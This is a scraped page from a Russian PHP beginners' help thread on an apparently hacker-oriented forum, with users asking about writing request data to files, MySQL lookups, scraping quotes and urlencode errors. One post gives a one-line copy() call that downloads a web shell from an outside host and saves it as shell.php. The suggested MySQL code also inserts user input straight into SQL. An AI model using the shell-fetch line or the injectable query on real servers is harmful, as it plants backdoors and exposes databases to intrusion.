[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. AkyHa_MaTaTa

    AkyHa_MaTaTa Elder - Старейшина

    Joined:
    19 Mar 2007
    Messages:
    557
    Likes Received:
    306
    Reputations:
    27
    Или просто file_put_contents('razor_zanuda.txt',$_REQUEST);//$_POST,$_GET,$_COOKIE

    2heretic1990
    copy('http://moishell.ru/shell.txt','shell.php');
     
    #8741 AkyHa_MaTaTa, 28 Feb 2009
    Last edited: 28 Feb 2009
  2. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    crackmail, через SMTP.
     
    #8742 mailbrush, 28 Feb 2009
    Last edited: 28 Feb 2009
  3. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    0_o во-первых _REQUEST - это массив (такой же как _GET или _POST), во-вторых file_put_contents принимает два аргумента, а не один и никак не массив.
    Вообще все с чем обратились к скрипту в GET'е пишется так:
    file_put_contents('file.txt', $_SERVER['QUERY_STRING']);
    а в POST'е так:
    file_put_contents('file.txt', $HTTP_RAW_POST_DATA);
     
    1 person likes this.
  4. Chaak

    Chaak Elder - Старейшина

    Joined:
    1 Jun 2008
    Messages:
    1,059
    Likes Received:
    1,067
    Reputations:
    80
    [Raz0r], file_put_contents поддерживает запись массива в файл. Если ты внимательно посмотришь , то второй параметр - mixed data
     
    2 people like this.
  5. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    Возник вопрос - что будет работать быстрее с POP3 сервером:

    1) Функции imap
    2) Чистые сокеты
    3) Что-то иное

    Господам ругающимся из-за file_put_contents с массивами - ключи не сохранятся, и записано будет без разделителей
     
    _________________________
    #8745 Gifts, 28 Feb 2009
    Last edited: 28 Feb 2009
  6. Zitt

    Zitt Elder - Старейшина

    Joined:
    7 May 2006
    Messages:
    736
    Likes Received:
    268
    Reputations:
    59
    [Raz0r], спс...
    помогите что то запутался...
    вобщем надо получить id юзера по мылу... я так делаю..
    PHP:
    $dbName='fe';
        
    $link mysql_connect($D"host"],$D["user"],$D["pass"]);
        
    mysql_select_db($dbName$link);
        
    $query mysql_query("SELECT id FROM users WHERE email = '".$email."'"); 
        
    $results mysql_fetch_array($query);
        if(!
    $results

     echo 
    "Возникла ошибка - ".mysql_error()."<br>"
      echo 
    $query
      exit(); 
    }
        
    $id $results['id'];
    echo 
    "$id";
    выдает
    как надо?
     
  7. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    вообще-то ошибка будет:
    Array to string conversion
     
  8. AkyHa_MaTaTa

    AkyHa_MaTaTa Elder - Старейшина

    Joined:
    19 Mar 2007
    Messages:
    557
    Likes Received:
    306
    Reputations:
    27
    Вообше если записывать через file_put_contents то неплохо бы провепять не явлються ли входные данные 2 -х(или более) мерным массивом(ну вдруг в голову взбредет)
    file_put_contents('razor_zanuda.txt',array_reduce($_POST,'implode'))
     
    #8748 AkyHa_MaTaTa, 28 Feb 2009
    Last edited: 28 Feb 2009
  9. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    Вот так попробуй:
    PHP:
    <?
    $dbName='fe';
    $link mysql_connect($D['host'],$D['user'],$D['pass']);
    mysql_select_db($dbName$link);
    $query "SELECT id FROM users WHERE email = '$email'";
    $result mysql_query($query);
    if(!
    $result)
    {
        echo 
    "Возникла ошибка - ".mysql_error()." <br>";
        die(
    $query);
    }
    $results mysql_fetch_array($result);
    echo 
    $results['id'];
     
  10. dinar_007

    dinar_007 Мадемуазель

    Joined:
    18 Jan 2005
    Messages:
    1,019
    Likes Received:
    770
    Reputations:
    97
    1) Не путай IMAP и POP3 - это разные протоколы...
    2) Ясен хер, что самый низкий уровень, на котором происходит обмен между почтовым сервером и клиентом - сетевой уровень, на уровне сокет, через команды протокола...

    Задай себе сначала вопрос - удобно ли тебе будет работать с командами протокола в RAW-режиме? Или может воспользоваться тем, что инкапсулирует эти команды в себе, а тебе предоставляет некий интерфейс?
     
    2 people like this.
  11. awdrg

    awdrg Member

    Joined:
    30 Jan 2009
    Messages:
    195
    Likes Received:
    31
    Reputations:
    1
    Подскажите пожалуйста, как можно записывать цитаты с баша в переменную с помощью скрипта и затем отправлять эту переменную куда либо. Имеется хост с кроном для этих целей. Интересует сам процесс отбора цитат и их передача. Заранее большое спасибо.
     
  12. SVAROG

    SVAROG Elder - Старейшина

    Joined:
    13 Feb 2007
    Messages:
    424
    Likes Received:
    86
    Reputations:
    -1
    awdrg
    сокетами или cURL ом получаешь страницу баша, и парсишь её на цитаты.
    мануал по курлам- http://ru.php.net/curl
    по сокетам- http://ru.php.net/sockets, http://www.opennet.ru/base/dev/php_sockets.txt.html
    по поиску в тексте http://www.softtime.ru/bookphp/gl3_1.php
     
  13. 159932

    159932 Elder - Старейшина

    Joined:
    28 Sep 2007
    Messages:
    587
    Likes Received:
    462
    Reputations:
    5
    PHP:
    $random file_get_contents('http://bash.org.ru/random');
    preg_match_all('#<div class="vote">(.*?)</div>(.*?)<div>(.*?)</div>#is'$random$ma4);
    print_r($ma4[3]);
     
    2 people like this.
  14. awdrg

    awdrg Member

    Joined:
    30 Jan 2009
    Messages:
    195
    Likes Received:
    31
    Reputations:
    1
    Я post'oм пересылаю ma4 на страницу, но все ее значение это:
    Code:
    And array
    Может нужно текст русский перегнать в %4D%FG и т д ? :D
    И если да, то как?
     
  15. PaCo

    PaCo Elder - Старейшина

    Joined:
    6 Feb 2008
    Messages:
    436
    Likes Received:
    138
    Reputations:
    25
    urlencode()
     
  16. heretic1990

    heretic1990 Elder - Старейшина

    Joined:
    2 Jul 2008
    Messages:
    487
    Likes Received:
    182
    Reputations:
    5
    нужен грабер погоды. чтобы текст грабил соответственно
    есть у кого?
     
  17. awdrg

    awdrg Member

    Joined:
    30 Jan 2009
    Messages:
    195
    Likes Received:
    31
    Reputations:
    1
    Code:
    Warning: urlencode() expects parameter 1 to be string, array given in (%pathname\bash.php) on line 12.
    Писал так:
    $ma4=urlencode($ma4);
    Что неверно?
     
  18. PaCo

    PaCo Elder - Старейшина

    Joined:
    6 Feb 2008
    Messages:
    436
    Likes Received:
    138
    Reputations:
    25
    Ты масив втуливаешь,проблема не в кодировке скорей всего,покажи весь код, например можно вот так перевести
    $ma4=urlencode(array_reduce( $ma4,'implode'));
     
  19. awdrg

    awdrg Member

    Joined:
    30 Jan 2009
    Messages:
    195
    Likes Received:
    31
    Reputations:
    1
    [code.$random = file_get_contents('http://bash.org.ru/random');
    preg_match_all('#<div class="vote">(.*?)</div>(.*?)<div>(.*?)</div>#is', $random, $ma4);
    print_r($ma4[3]);
    $ma4=urlencode($ma4);[/code]
    получается для post отправки русского текста нужно перегнать $ma4 в urlencode формат. А что в твоем примере является конечным массивом?
     
  20. awdrg

    awdrg Member

    Joined:
    30 Jan 2009
    Messages:
    195
    Likes Received:
    31
    Reputations:
    1
    вылезает:
    Code:
    fatal error: allowed memory size of 134217728 bytes exhausted (tried to allocate 76646989 bytes) in %path\bash.php on line 12
     
Thread Status:
Not open for further replies.